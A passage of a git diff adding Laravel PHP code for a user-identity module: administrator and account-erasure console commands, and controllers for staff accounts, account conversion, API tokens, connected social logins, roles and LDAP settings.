'email' => ['required', 'string', 'email', 'max:255', 'unique:users,email'], + 'password' => ['required', Password::defaults()], + ], + ); + + if ($validator->fails()) { + foreach ($validator->errors()->all() as $error) { + $this->error($error); + } + + return self::FAILURE; + } + + $user = User::create([ + 'type' => UserType::Staff, + 'active' => true, + 'role_id' => Role::query()->where('name', SystemRole::SystemAdministrator->value)->value('id'), + 'name' => $name, + 'email' => $email, + 'password' => $password, + 'email_verified_at' => now(), + ]); + + app(ActivityLogger::class)->log(Action::UserCreated, null, $user); + + $settings = app(Settings::class); + if ($settings->get(Setting::AdminNotificationEmails) === []) { + $settings->set(Setting::AdminNotificationEmails, [$user->email]); + } + + $this->info("Administrator {$user->email} created."); + + return self::SUCCESS; + } +} diff --git a/app/Modules/Identity/Console/EnsureSystemRolesCommand.php b/app/Modules/Identity/Console/EnsureSystemRolesCommand.php new file mode 100644 index 00000000..7b9a3a20 --- /dev/null +++ b/app/Modules/Identity/Console/EnsureSystemRolesCommand.php @@ -0,0 +1,24 @@ +ensure(); + + $this->info('System roles are in place.'); + + return self::SUCCESS; + } +} diff --git a/app/Modules/Identity/Console/EraseAccountCommand.php b/app/Modules/Identity/Console/EraseAccountCommand.php new file mode 100644 index 00000000..7b2511c3 --- /dev/null +++ b/app/Modules/Identity/Console/EraseAccountCommand.php @@ -0,0 +1,46 @@ +argument('email'); + + $user = User::withTrashed()->where('email', $email)->first(); + + if ($user === null) { + $this->error("No account found for {$email}."); + + return self::FAILURE; + } + + if (! $this->option('force') && ! $this->confirm("Permanently erase {$user->name} <{$email}> and anonymize their log entries?")) { + return self::FAILURE; + } + + $eraser->erase($user); + + $this->info('Account erased and log entries anonymized.'); + + return self::SUCCESS; + } +} diff --git a/app/Modules/Identity/Console/PurgeErasuresCommand.php b/app/Modules/Identity/Console/PurgeErasuresCommand.php new file mode 100644 index 00000000..2ebb1427 --- /dev/null +++ b/app/Modules/Identity/Console/PurgeErasuresCommand.php @@ -0,0 +1,32 @@ +whereNotNull('erase_after') + ->where('erase_after', '<=', now()) + ->get(); + + foreach ($due as $user) { + $eraser->erase($user); + } + + $this->info("Erased {$due->count()} account(s)."); + + return self::SUCCESS; + } +} diff --git a/app/Modules/Identity/Erasure/AccountEraser.php b/app/Modules/Identity/Erasure/AccountEraser.php new file mode 100644 index 00000000..0b3a6696 --- /dev/null +++ b/app/Modules/Identity/Erasure/AccountEraser.php @@ -0,0 +1,118 @@ +handleContent($user); + + // Anonymize snapshots: entries stay, names go. The actor_id + // FK nulls itself on forceDelete; actor_type remains so the + // log can still say "a deleted staff account". + ActivityLog::query() + ->where('actor_id', $user->id) + ->update(['actor_name' => null]); + + ActivityLog::query() + ->where('subject_type', $user->getMorphClass()) + ->where('subject_id', $user->id) + ->update(['subject_name' => null]); + + // Entries that carry the name in context, not in the FK-backed + // snapshot columns: the self-deletion (UserDeleted) and denial + // records, plus the content-handling records this very erasure + // just wrote and any left by an earlier admin deletion of the + // same person. Their :target — a still-active inheritor — is a + // different account and is deliberately left alone. + ActivityLog::query() + ->whereIn('action', [ + Action::UserDeleted->value, + Action::ClientDenied->value, + Action::AccountContentCascadeDeleted->value, + Action::AccountContentReassigned->value, + ]) + ->get() + ->filter(fn (ActivityLog $entry): bool => ($entry->context['name'] ?? null) === $user->name) + ->each(function (ActivityLog $entry): void { + $context = $entry->context; + $context['name'] = null; + $entry->forceFill(['context' => $context])->save(); + }); + + $type = $user->type->value; + + $user->forceDelete(); + + $this->activity->logSystem(Action::AccountErased, ['type' => $type]); + }); + } + + /** + * Reassign the account's content to the configured fallback, or cascade + * it away. Reassign needs a fallback that still exists, is active, and is + * not the account being erased; when it does not (never chosen, since + * deactivated, deleted), the safe choice is to cascade rather than orphan + * — so content is never left ownerless whatever the configuration. + */ + private function handleContent(User $user): void + { + if ($this->settings->get(Setting::AccountErasureContentAction) === 'reassign') { + $fallback = $this->fallbackFor($user); + + if ($fallback !== null) { + $result = $this->content->reassignTo($user, $fallback); + $this->activity->logSystem(Action::AccountContentReassigned, ['name' => $user->name, 'target' => $fallback->name, ...$result]); + + return; + } + } + + $result = $this->content->cascadeDelete($user); + $this->activity->logSystem(Action::AccountContentCascadeDeleted, ['name' => $user->name, ...$result]); + } + + private function fallbackFor(User $user): ?User + { + $id = (int) $this->settings->get(Setting::AccountErasureReassignTo); + + if ($id === 0) { + return null; + } + + return User::query() + ->where('active', true) + ->whereKeyNot($user->id) + ->find($id); + } +} diff --git a/app/Modules/Identity/Http/Controllers/AccountConversionController.php b/app/Modules/Identity/Http/Controllers/AccountConversionController.php new file mode 100644 index 00000000..191cab3c --- /dev/null +++ b/app/Modules/Identity/Http/Controllers/AccountConversionController.php @@ -0,0 +1,261 @@ +validate([ + 'direction' => ['nullable', Rule::in(['to_client', 'to_staff'])], + 'search' => ['nullable', 'string', 'max:255'], + ]); + + $direction = $validated['direction'] ?? 'to_client'; + $search = $validated['search'] ?? null; + $actor = $this->actor($request); + + $accounts = User::query() + ->where('type', $direction === 'to_client' ? UserType::Staff : UserType::Client) + ->with('role') + ->when($search, fn (Builder $query, string $term) => $query->where(fn (Builder $inner) => $inner + ->where('name', 'like', "%{$term}%") + ->orWhere('email', 'like', "%{$term}%"))) + ->orderBy('name') + ->paginate(25) + ->withQueryString(); + + // One query each for the page, never one per row — this screen + // paginates 25 at a time. + $ids = $accounts->pluck('id'); + $content = $this->accountContent->summarizeMany($ids); + $tokens = $this->apiTokens->summarizeMany($ids); + $memberships = $this->groupMembershipCounts($ids); + $shared = $this->fileAssignmentCounts($ids); + $managedBy = $this->managedByCounts($ids); + $manages = $this->managesCounts($ids); + + $activeAdminCount = $this->accounts->activeAdministratorCount(); + + $accounts->through(fn (User $user): array => [ + 'id' => $user->id, + 'name' => $user->name, + 'email' => $user->email, + 'role' => $user->role?->name, + 'active' => $user->active, + 'account_requested' => $user->account_requested, + 'is_self' => $user->is($actor), + 'is_last_administrator' => $user->active + && $this->accounts->isAdministratorRole($user->role_id) + && $activeAdminCount === 1, + // Drives the password field from optional to required, so the + // form says why before it refuses rather than after. + 'requires_new_password' => $this->conversion->requiresNewPassword($user), + // Which of the two reasons it is required, so the form can say + // the true one. + 'auth_source' => $user->auth_source->value, + // Everything the confirmation dialog enumerates, so it can name + // real numbers rather than say "some data may be affected". + 'consequences' => [ + 'api_tokens' => $tokens[$user->id]['total'] ?? 0, + 'assigned_clients' => $manages[$user->id] ?? 0, + 'managed_by' => $managedBy[$user->id] ?? 0, + 'group_memberships' => $memberships[$user->id] ?? 0, + 'files_shared_with_them' => $shared[$user->id] ?? 0, + 'content' => $content[$user->id] ?? ['files' => 0, 'folders' => 0], + ], + ]); + + return Inertia::render('users/convert', [ + 'direction' => $direction, + 'filters' => ['search' => $search], + 'accounts' => $accounts->items(), + 'pagination' => Pagination::meta($accounts), + 'roles' => $this->accounts->assignableRoles($actor) + ->map(fn (Role $role): array => [ + 'id' => $role->id, + 'name' => $role->name, + 'is_system' => $role->is_system, + 'client_scoped' => $role->client_scoped, + ])->all(), + 'clients' => User::query()->where('type', UserType::Client)->orderBy('name')->get() + ->map(fn (User $client): array => ['id' => $client->id, 'name' => $client->name]) + ->values()->all(), + ]); + } + + public function store(Request $request, User $user): RedirectResponse + { + $actor = $this->actor($request); + + $direction = $request->validate([ + 'direction' => ['required', Rule::in(['to_client', 'to_staff'])], + ])['direction']; + + if ($direction === 'to_client') { + abort_unless($user->isStaff(), 404); + + $this->conversion->guardToClient($actor, $user); + $this->conversion->toClient($user); + + return back()->with('success', __('Account converted to a client.')); + } + + abort_unless($user->isClient(), 404); + + $this->conversion->guardToStaff($actor, $user); + + $validated = $request->validate([ + 'role_id' => ['required', 'integer', Rule::in($this->accounts->assignableRoleIds($actor))], + 'assigned_clients' => ['array'], + 'assigned_clients.*' => [ + 'integer', + Rule::exists('users', 'id')->where('type', UserType::Client->value), + Rule::notIn([$user->id]), + ], + // Required only for an account whose credential lives in the + // directory; see AccountConversion::requiresNewPassword(). The + // service refuses it too, so a future caller cannot skip it. + 'password' => $this->conversion->requiresNewPassword($user) + ? ['required', 'string', Password::defaults()] + : ['nullable', Password::defaults()], + ]); + + $this->conversion->toStaff( + $user, + (int) $validated['role_id'], + array_values($validated['assigned_clients'] ?? []), + $validated['password'] ?? null, + ); + + return back()->with('success', __('Account converted to staff.')); + } + + /** + * @param Collection $ids + * @return array + */ + private function groupMembershipCounts(Collection $ids): array + { + return $this->countBy('group_members', 'user_id', $ids); + } + + /** + * Files shared directly with this account. `file_assignments` is + * polymorphic — a row points at either a client or a group — so the + * type has to be pinned or group assignments would be counted as if + * they belonged to a user with the same id. + * + * @param Collection $ids + * @return array + */ + private function fileAssignmentCounts(Collection $ids): array + { + if ($ids->isEmpty()) { + return []; + } + + return DB::table('file_assignments') + ->where('assignable_type', User::class) + ->whereIn('assignable_id', $ids) + ->selectRaw('assignable_id as owner_id, count(*) as total') + ->groupBy('assignable_id') + ->pluck('total', 'owner_id') + ->map(fn ($total): int => (int) $total) + ->all(); + } + + /** + * How many staff members have this client in their assigned roster. + * + * @param Collection $ids + * @return array + */ + private function managedByCounts(Collection $ids): array + { + return $this->countBy('staff_client_assignments', 'client_id', $ids); + } + + /** + * How many clients this staff member manages. + * + * @param Collection $ids + * @return array + */ + private function managesCounts(Collection $ids): array + { + return $this->countBy('staff_client_assignments', 'staff_id', $ids); + } + + /** + * One grouped query per concern, for the whole page. A per-row count + * here would be an N+1 on a screen that paginates 25 at a time. + * + * @param Collection $ids + * @return array + */ + private function countBy(string $table, string $column, Collection $ids): array + { + if ($ids->isEmpty()) { + return []; + } + + return DB::table($table) + ->whereIn($column, $ids) + ->selectRaw("{$column} as owner_id, count(*) as total") + ->groupBy($column) + ->pluck('total', 'owner_id') + ->map(fn ($total): int => (int) $total) + ->all(); + } + + private function actor(Request $request): User + { + $actor = $request->user(); + assert($actor instanceof User); + + return $actor; + } +} diff --git a/app/Modules/Identity/Http/Controllers/Api/RolesController.php b/app/Modules/Identity/Http/Controllers/Api/RolesController.php new file mode 100644 index 00000000..682ddda8 --- /dev/null +++ b/app/Modules/Identity/Http/Controllers/Api/RolesController.php @@ -0,0 +1,68 @@ +user(); + assert($actor instanceof User); + + return response()->json([ + 'data' => $this->accounts->assignableRoles($actor) + ->map(fn (Role $role): array => [ + 'id' => $role->id, + 'name' => $role->name, + 'is_system' => $role->is_system, + 'is_administrator' => $role->is_administrator, + 'client_scoped' => $role->client_scoped, + ]) + ->all(), + ]); + } +} diff --git a/app/Modules/Identity/Http/Controllers/Api/UsersController.php b/app/Modules/Identity/Http/Controllers/Api/UsersController.php new file mode 100644 index 00000000..3874459f --- /dev/null +++ b/app/Modules/Identity/Http/Controllers/Api/UsersController.php @@ -0,0 +1,274 @@ +isStaff(), 404)` on each single-account route + * mirrors the web controller: a client is not addressable through this + * surface even by id, and has its own endpoints under /clients. + */ +class UsersController extends Controller +{ + public function __construct( + private readonly PollingQuery $polling, + private readonly StaffAccounts $accounts, + private readonly DeletedAccountContent $accountContent, + private readonly AccountContentDeletion $accountDeletion, + ) {} + + /** + * List staff accounts. + * + * Clients never appear here — they are a different population with + * their own endpoints under `/clients`. + */ + public function index(Request $request): AnonymousResourceCollection + { + $filters = $request->validate($this->polling->rules() + [ + 'search' => ['nullable', 'string', 'max:255'], + 'role_id' => ['nullable', 'integer'], + 'status' => ['nullable', Rule::in(['active', 'inactive'])], + ]); + + $query = User::query()->where('type', UserType::Staff)->with('role'); + + if (($filters['search'] ?? null) !== null) { + $search = $filters['search']; + $query->where(fn (Builder $inner) => $inner + ->where('name', 'like', "%{$search}%") + ->orWhere('email', 'like', "%{$search}%")); + } + + if (($filters['role_id'] ?? null) !== null) { + $query->where('role_id', (int) $filters['role_id']); + } + + if (($filters['status'] ?? null) !== null) { + $query->where('active', $filters['status'] === 'active'); + } + + return StaffUserResource::collection($this->polling->paginate($request, $query, 'users')); + } + + /** + * Get one staff account. + * + * Adds `assigned_client_ids` and the `content` counts that `DELETE` + * needs, neither of which the listing carries. + */ + public function show(Request $request, User $user): StaffUserResource + { + abort_unless($user->isStaff(), 404); + $this->accounts->guardTarget($this->actor($request), $user); + + return $this->resourceFor($user); + } + + /** + * Create a staff account. + * + * `role_id` must name a role the calling token's owner could grant. + * You cannot hand out authority you do not hold: a caller who is not + * an administrator may not create one, nor assign any role carrying a + * permission they lack. `GET /roles` lists what is available to you. + * + * The account is created active and with its email already verified — + * an administrator vouched for the address by sending it. + */ + public function store(Request $request): JsonResponse + { + $actor = $this->actor($request); + + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255'], + 'email' => ['required', 'string', 'lowercase', 'email', 'max:255', 'unique:users,email'], + 'role_id' => ['required', 'integer', Rule::in($this->accounts->assignableRoleIds($actor))], + // No `confirmed`: repeating a password defends against a human + // mistyping into a form, and an API caller has no second field + // to mistype. Password::defaults() still applies. + 'password' => ['required', Password::defaults()], + 'assigned_clients' => ['array'], + 'assigned_clients.*' => ['integer', Rule::exists('users', 'id')->where('type', UserType::Client->value)], + ]); + + $user = $this->accounts->create([ + 'name' => $validated['name'], + 'email' => $validated['email'], + 'role_id' => (int) $validated['role_id'], + 'password' => $validated['password'], + ], array_values($validated['assigned_clients'] ?? [])); + + return $this->resourceFor($user->refresh())->response()->setStatusCode(201); + } + + /** + * Update a staff account, including the role assigned to it. + * + * PATCH semantics: an absent key means "leave alone", not "clear". + * Sending `assigned_clients` replaces the whole list; omitting it + * leaves it, except that moving to a role which is not client-scoped + * clears it either way. + * + * Refused with a 422 if the change would leave the installation with + * no active administrator, or if you would be deactivating yourself. + */ + public function update(Request $request, User $user): StaffUserResource + { + abort_unless($user->isStaff(), 404); + + $actor = $this->actor($request); + $this->accounts->guardTarget($actor, $user); + + $validated = $request->validate([ + 'name' => ['sometimes', 'string', 'max:255'], + 'email' => ['sometimes', 'string', 'lowercase', 'email', 'max:255', Rule::unique('users', 'email')->ignore($user->id)], + 'role_id' => ['sometimes', 'integer', Rule::in($this->accounts->assignableRoleIds($actor))], + 'active' => ['sometimes', 'boolean'], + 'password' => ['sometimes', 'nullable', Password::defaults()], + 'assigned_clients' => ['sometimes', 'array'], + 'assigned_clients.*' => ['integer', Rule::exists('users', 'id')->where('type', UserType::Client->value)], + ]); + + // The same refusal the web screen makes, and for the same reason: + // locking yourself out is never what was meant. + if ($user->is($actor) && ($validated['active'] ?? true) === false) { + throw ValidationException::withMessages([ + 'active' => __('You cannot deactivate your own account.'), + ]); + } + + $attributes = array_intersect_key($validated, array_flip(['name', 'email', 'active', 'password'])); + + if (array_key_exists('role_id', $validated)) { + $attributes['role_id'] = (int) $validated['role_id']; + } + + $this->accounts->update( + $user, + $attributes, + array_key_exists('assigned_clients', $validated) + ? array_values($validated['assigned_clients']) + : null, + ); + + return $this->resourceFor($user->refresh()); + } + + /** + * Delete a staff account. + * + * If the account owns no files or folders, no body is needed. + * + * If it does, you must say what happens to that content: send + * `content_action` as either `cascade_delete` (delete it along with + * the account) or `reassign`, and in the latter case a + * `reassign_to_id` naming the active account that inherits it. + * Omitting the choice is a 422 — there is no default, because one + * would silently destroy files and the other would silently hand them + * to somebody else. `GET /users/{user}` reports the counts. + * + * You cannot delete your own account, and you cannot delete the last + * active administrator. + */ + public function destroy(Request $request, User $user): JsonResponse + { + abort_unless($user->isStaff(), 404); + + $this->accounts->guardDeletable($this->actor($request), $user); + + $validated = $this->accountDeletion->validate($request, $user); + + $name = $this->accounts->delete($user); + + $this->accountDeletion->apply($validated, $user, $name); + + return response()->json(status: 204); + } + + /** + * Remove a staff account's two-factor authentication. + * + * The remedy for a locked-out account: somebody whose authenticator + * app and recovery codes are both gone cannot sign in, and nobody else + * can open the account for them either. Afterwards the account signs + * in with its password alone, and — if this installation enforces + * two-factor authentication for staff — is asked to enrol again on its + * next request. + * + * The account holder is emailed that this happened, and the action is + * recorded in the activity log against the caller. Answers 204 whether + * or not a second factor was actually in force. + */ + public function destroyTwoFactor(Request $request, User $user, TwoFactorAdministration $twoFactor): JsonResponse + { + abort_unless($user->isStaff(), 404); + + $this->accounts->guardTarget($this->actor($request), $user); + + $twoFactor->reset($user); + + return response()->json(status: 204); + } + + private function resourceFor(User $user): StaffUserResource + { + return StaffUserResource::detailed( + $user->load('role'), + content: $this->accountContent->summarize($user), + assignedClientIds: array_values( + $user->assignedClients()->pluck('users.id')->map(fn ($id): int => (int) $id)->all() + ), + ); + } + + /** + * The token's owner. Every guard in StaffAccounts is asked on their + * behalf, never on the token's — a token cannot exceed its owner's + * permissions (EnsureTokenCan re-checks that on every request), so the + * owner is the right subject for "may they grant this role". + */ + private function actor(Request $request): User + { + $actor = $request->user(); + assert($actor instanceof User); + + return $actor; + } +} diff --git a/app/Modules/Identity/Http/Controllers/ApiTokensController.php b/app/Modules/Identity/Http/Controllers/ApiTokensController.php new file mode 100644 index 00000000..ae666a41 --- /dev/null +++ b/app/Modules/Identity/Http/Controllers/ApiTokensController.php @@ -0,0 +1,294 @@ +user(); + assert($user !== null); + + return Inertia::render('settings/api-tokens/index', [ + 'tokens' => $this->tokensFor($user), + // Flashed by store() and never persisted anywhere: this is the + // one and only time the plaintext exists outside the caller's + // clipboard. The database holds a SHA-256 hash. + 'created_token' => $request->session()->get('created_api_token'), + ]); + } + + public function create(Request $request): Response + { + $user = $request->user(); + assert($user !== null); + + return Inertia::render('settings/api-tokens/create', [ + 'available_abilities' => $this->availableAbilities($user), + 'defaults' => [ + 'expires_in_days' => (int) config('api.tokens.default_days'), + 'max_days' => (int) config('api.tokens.max_days'), + ], + ]); + } + + /** + * Editing covers the name, the abilities and the expiry — never the + * secret, which exists only as a hash and cannot be shown or changed. + * + * Widening an existing token's abilities is allowed, and is worth being + * clear about: it changes what an already-issued secret can do without + * that secret changing. It can never exceed the owner's own permissions + * (EnsureTokenCan re-checks them live on every request), it is behind + * the same password confirmation as minting, and the before/after lands + * in the activity log. The alternative — forcing revoke-and-recreate — + * would mean re-pasting a new secret into every integration for a + * rename, which pushes people toward long-lived over-scoped tokens. + */ + public function edit(Request $request, string $token): Response + { + $user = $request->user(); + assert($user !== null); + + $accessToken = $this->findOwnToken($user, $token); + + $available = $this->abilities->availableFor($user); + $current = $accessToken->abilities ?? []; + + return Inertia::render('settings/api-tokens/edit', [ + 'token' => [ + 'id' => (string) $accessToken->getKey(), + 'name' => $accessToken->name, + 'abilities' => array_values(array_intersect($current, $available)), + // The full instant, matching every other expires_at this + // controller emits. The page turns it into a "days + // remaining" default (edit.tsx), and a date truncated to + // midnight makes that arithmetic up to a day out; nothing + // here feeds a date picker, so there is no reason to + // narrow it. + 'expires_at' => $accessToken->expires_at?->toIso8601String(), + 'created_at' => $accessToken->created_at?->toIso8601String(), + 'last_used_at' => $accessToken->last_used_at?->toIso8601String(), + // Abilities the token still carries but that no longer + // apply — the owner lost the permission, the edition + // changed, or the endpoint was retired. They do nothing + // today and saving drops them, which should not be a + // surprise. + 'retired_abilities' => array_values(array_diff($current, $available)), + ], + 'available_abilities' => $this->availableAbilities($user), + 'defaults' => [ + 'expires_in_days' => (int) config('api.tokens.default_days'), + 'max_days' => (int) config('api.tokens.max_days'), + ], + ]); + } + + public function update(Request $request, string $token): RedirectResponse + { + $user = $request->user(); + assert($user !== null); + + $accessToken = $this->findOwnToken($user, $token); + + $grantedKeys = $this->abilities->availableFor($user); + $maxDays = (int) config('api.tokens.max_days'); + + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255'], + 'abilities' => ['required', 'array', 'min:1'], + 'abilities.*' => ['string', Rule::in($grantedKeys)], + 'never_expires' => ['boolean'], + 'expires_in_days' => [ + Rule::requiredIf(fn (): bool => ! $request->boolean('never_expires')), + 'nullable', 'integer', 'min:1', 'max:'.$maxDays, + ], + ]); + + $before = $accessToken->abilities ?? []; + $newAbilities = array_values(array_unique($validated['abilities'])); + + $accessToken->forceFill([ + 'name' => $validated['name'], + 'abilities' => $newAbilities, + // Counted from now, not from the original issue date: the field + // asks "how much longer", which is the question someone editing + // a token is actually answering. + 'expires_at' => $request->boolean('never_expires') + ? null + : now()->addDays((int) $validated['expires_in_days']), + ])->save(); + + $this->activity->log(Action::ApiTokenUpdated, $user, context: [ + 'token_name' => $validated['name'], + 'abilities_added' => array_values(array_diff($newAbilities, $before)), + 'abilities_removed' => array_values(array_diff($before, $newAbilities)), + ]); + + return redirect()->route('api-tokens.index')->with('success', __('Token updated.')); + } + + public function store(Request $request): RedirectResponse + { + $user = $request->user(); + assert($user !== null); + + // Both gates, not just the role's permissions — see TokenAbilities. + $grantedKeys = $this->abilities->availableFor($user); + $maxDays = (int) config('api.tokens.max_days'); + + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255'], + + // The ceiling on what a token may do is the issuer's own + // permission set at this moment — not the full Permission enum. + // A token must never be a way to acquire an ability its owner + // does not have, and EnsureTokenCan re-checks the same + // intersection on every request in case the role changes later. + 'abilities' => ['required', 'array', 'min:1'], + 'abilities.*' => ['string', Rule::in($grantedKeys)], + + 'never_expires' => ['boolean'], + 'expires_in_days' => [ + Rule::requiredIf(fn (): bool => ! $request->boolean('never_expires')), + 'nullable', + 'integer', + 'min:1', + 'max:'.$maxDays, + ], + ]); + + $expiresAt = $request->boolean('never_expires') + ? null + : now()->addDays((int) $validated['expires_in_days']); + + $token = $user->createToken( + $validated['name'], + array_values(array_unique($validated['abilities'])), + $expiresAt, + ); + + $this->activity->log(Action::ApiTokenCreated, $user, context: [ + 'token_name' => $validated['name'], + 'abilities' => $validated['abilities'], + 'expires_at' => $expiresAt?->toIso8601String(), + ]); + + return redirect()->route('api-tokens.index')->with('created_api_token', [ + 'name' => $validated['name'], + 'plain_text' => $token->plainTextToken, + ]); + } + + public function destroy(Request $request, string $token): RedirectResponse + { + $user = $request->user(); + assert($user !== null); + + $accessToken = $user->tokens()->whereKey($token)->first(); + + if ($accessToken instanceof PersonalAccessToken) { + $this->activity->log(Action::ApiTokenRevoked, $user, context: [ + 'token_name' => $accessToken->name, + ]); + + $accessToken->delete(); + } + + return back(); + } + + /** + * Scoped to the caller's own tokens: managing them is not an + * administrative power here, and the relation is what enforces it — a + * bare PersonalAccessToken::find() would let any staff member rename, + * re-scope or revoke anyone's integration by guessing an id. A miss is + * a 404 rather than a 403, so ids cannot be probed for existence. + */ + private function findOwnToken(User $user, string $token): PersonalAccessToken + { + $accessToken = $user->tokens()->whereKey($token)->first(); + + abort_unless($accessToken instanceof PersonalAccessToken, 404); + + return $accessToken; + } + + /** + * @return list> + */ + private function tokensFor(User $user): array + { + return array_values($user->tokens() + ->orderByDesc('created_at') + ->get() + ->map(fn (PersonalAccessToken $token): array => [ + 'id' => (string) $token->getKey(), + 'name' => $token->name, + 'abilities' => $token->abilities ?? [], + 'last_used_at' => $token->last_used_at?->toIso8601String(), + 'expires_at' => $token->expires_at?->toIso8601String(), + 'expired' => ! ApiTokens::isActive($token), + 'created_at' => $token->created_at?->toIso8601String(), + ]) + ->all()); + } + + /** + * Grouped by category so the form reads like the roles screen rather + * than a flat wall of forty checkboxes. + * + * @return list}> + */ + private function availableAbilities(User $user): array + { + $groups = []; + + foreach ($this->abilities->casesFor($user) as $permission) { + $groups[$permission->category()->value]['label'] = $permission->category()->label(); + $groups[$permission->category()->value]['abilities'][] = [ + 'key' => $permission->value, + 'label' => $permission->label(), + ]; + } + + return array_map( + static fn (string $category, array $group): array => [ + 'category' => $category, + 'label' => $group['label'], + 'abilities' => $group['abilities'], + ], + array_keys($groups), + $groups, + ); + } +} diff --git a/app/Modules/Identity/Http/Controllers/ConnectedAccountsController.php b/app/Modules/Identity/Http/Controllers/ConnectedAccountsController.php new file mode 100644 index 00000000..e1322e5f --- /dev/null +++ b/app/Modules/Identity/Http/Controllers/ConnectedAccountsController.php @@ -0,0 +1,113 @@ +user(); + + $links = SocialAccount::query() + ->where('user_id', $user?->getKey()) + ->get() + ->keyBy(fn (SocialAccount $link): string => $link->provider->value); + + $providers = []; + + foreach (SocialSettings::allProviders() as $key => $settings) { + if (! $settings->usable()) { + continue; + } + + $link = $links->get($key); + + $providers[] = [ + 'provider' => $key, + 'label' => $settings->provider->label(), + 'connected' => $link !== null, + 'email' => $link?->email, + 'connected_at' => $link?->created_at?->toIso8601String(), + ]; + } + + return Inertia::render('settings/connected-accounts', [ + 'providers' => $providers, + // Why a disconnect may be refused, said before it is tried + // rather than after. + 'has_local_password' => $user?->auth_source === AuthSource::Local, + ]); + } + + public function destroy(Request $request, string $provider): RedirectResponse + { + $case = SocialProvider::tryFrom($provider) ?? throw new NotFoundHttpException; + + $user = $request->user(); + + if ($user === null) { + return redirect()->route('login'); + } + + $link = SocialAccount::query() + ->where('user_id', $user->getKey()) + ->where('provider', $case->value) + ->first(); + + if ($link === null) { + return back(); + } + + // The mirror image of AccountConversion::requiresNewPassword(): + // an account created by a provider holds a random password nobody + // has ever seen, so the provider is the only way in. Removing the + // last one locks the person out of their own files. + $remaining = SocialAccount::query() + ->where('user_id', $user->getKey()) + ->where('provider', '!=', $case->value) + ->count(); + + if ($remaining === 0 && $user->auth_source !== AuthSource::Local) { + throw ValidationException::withMessages([ + 'provider' => __('This is the only way you can sign in. Set a password first, then disconnect :provider.', [ + 'provider' => $case->label(), + ]), + ]); + } + + $link->delete(); + + $this->activity->log(Action::SocialAccountUnlinked, $user, $user, ['provider' => $case->label()]); + + return back()->with('success', __(':provider disconnected.', ['provider' => $case->label()])); + } +} diff --git a/app/Modules/Identity/Http/Controllers/LdapSettingsController.php b/app/Modules/Identity/Http/Controllers/LdapSettingsController.php new file mode 100644 index 00000000..5f087cfb --- /dev/null +++ b/app/Modules/Identity/Http/Controllers/LdapSettingsController.php @@ -0,0 +1,154 @@ + [ + 'active' => $ldap->active, + 'host' => $ldap->host, + 'port' => $ldap->port, + 'encryption' => $ldap->encryption->value, + 'ca_cert_path' => $ldap->ca_cert_path, + 'bind_dn' => $ldap->bind_dn, + // The secret itself never leaves the server. + 'has_bind_password' => $ldap->bind_password !== null && $ldap->bind_password !== '', + 'base_dn' => $ldap->base_dn, + 'user_filter' => $ldap->user_filter, + 'email_attribute' => $ldap->email_attribute, + 'name_attribute' => $ldap->name_attribute, + 'auto_provision' => $ldap->auto_provision, + 'auto_approve' => $ldap->auto_approve, + ], + 'encryptions' => array_map( + fn (LdapEncryption $e): array => [ + 'value' => $e->value, + 'label' => $e->label(), + 'default_port' => $e->defaultPort(), + ], + LdapEncryption::cases(), + ), + // Without this an administrator flips a switch that silently + // never works — the same class of failure as v1's use_tls. + 'extension_available' => extension_loaded('ldap'), + // Shown only as context beside the directory's own + // auto_approve: an administrator who sets the two differently + // should be able to see that they have, rather than wonder why + // directory accounts behave unlike registrations. + 'clients_auto_approve' => $this->settings->get(Setting::ClientsAutoApprove) === true, + 'test_result' => $request->session()->get('ldap_test_result'), + ]); + } + + public function update(Request $request): RedirectResponse + { + $validated = $request->validate([ + 'active' => ['required', 'boolean'], + 'host' => ['nullable', 'string', 'max:255'], + 'port' => ['required', 'integer', 'min:1', 'max:65535'], + 'encryption' => ['required', Rule::enum(LdapEncryption::class)], + 'ca_cert_path' => ['nullable', 'string', 'max:255'], + 'bind_dn' => ['nullable', 'string', 'max:255'], + 'bind_password' => ['nullable', 'string', 'max:255'], + 'base_dn' => ['nullable', 'string', 'max:255'], + 'user_filter' => ['nullable', 'string', 'max:255'], + 'email_attribute' => ['required', 'string', 'max:64'], + 'name_attribute' => ['required', 'string', 'max:64'], + 'auto_provision' => ['required', 'boolean'], + 'auto_approve' => ['required', 'boolean'], + ]); + + $ldap = LdapSettings::current(); + + $ldap->fill([ + 'active' => (bool) $validated['active'], + 'host' => $validated['host'] ?? null, + 'port' => (int) $validated['port'], + 'encryption' => $validated['encryption'], + 'ca_cert_path' => $validated['ca_cert_path'] ?? null, + 'bind_dn' => $validated['bind_dn'] ?? null, + 'base_dn' => $validated['base_dn'] ?? null, + 'user_filter' => $validated['user_filter'] ?? null, + 'email_attribute' => $validated['email_attribute'], + 'name_attribute' => $validated['name_attribute'], + 'auto_provision' => (bool) $validated['auto_provision'], + 'auto_approve' => (bool) $validated['auto_approve'], + ]); + + // Blank means "leave it alone", so editing the host does not wipe + // the credential. + if (is_string($validated['bind_password'] ?? null) && $validated['bind_password'] !== '') { + $ldap->bind_password = $validated['bind_password']; + } + + $ldap->save(); + + $this->activity->log(Action::SettingsUpdated, context: ['section' => 'ldap']); + + return back()->with('success', __('LDAP settings saved.')); + } + + /** + * Bind against the directory and report which stage failed. + * + * The one place allowed to be specific about a directory failure: it + * is behind `edit_settings`, and it is the difference between a + * working configuration and a checkbox that quietly does nothing. The + * login form stays deliberately vague. + */ + public function test(Request $request, LdapDirectory $directory): RedirectResponse + { + $validated = $request->validate([ + 'email' => ['nullable', 'string', 'email', 'max:255'], + 'password' => ['nullable', 'string', 'max:255'], + ]); + + $result = $directory->probe($validated['email'] ?? null, $validated['password'] ?? null); + + return back()->with('ldap_test_result', [ + 'ok' => $result->ok, + 'stage' => $result->stage, + 'message' => $result->message, + 'dn' => $result->dn, + ]); + } +} diff --git a/app/Modules/Identity/Http/Controllers/RolesController.php b/app/Modules/Identity/Http/Controllers/RolesController.php new file mode 100644 index 00000000..f51c4aa4 --- /dev/null +++ b/app/Modules/Identity/Http/Controllers/RolesController.php @@ -0,0 +1,252 @@ +validate([ + 'type' => ['nullable', Rule::in(['system', 'client', 'custom'])], + ]); + $filters = ['type' => $validated['type'] ?? null]; + + $clientRole = SystemRole::Client->value; + + $roles = Role::query() + ->withCount(['users', 'permissions']) + // The client role is a system role but a population apart, so it + // sorts (and filters) as its own "client" type between the staff + // system roles and custom roles. + ->when($filters['type'] === 'system', fn (Builder $q) => $q->where('is_system', true)->where('name', '!=', 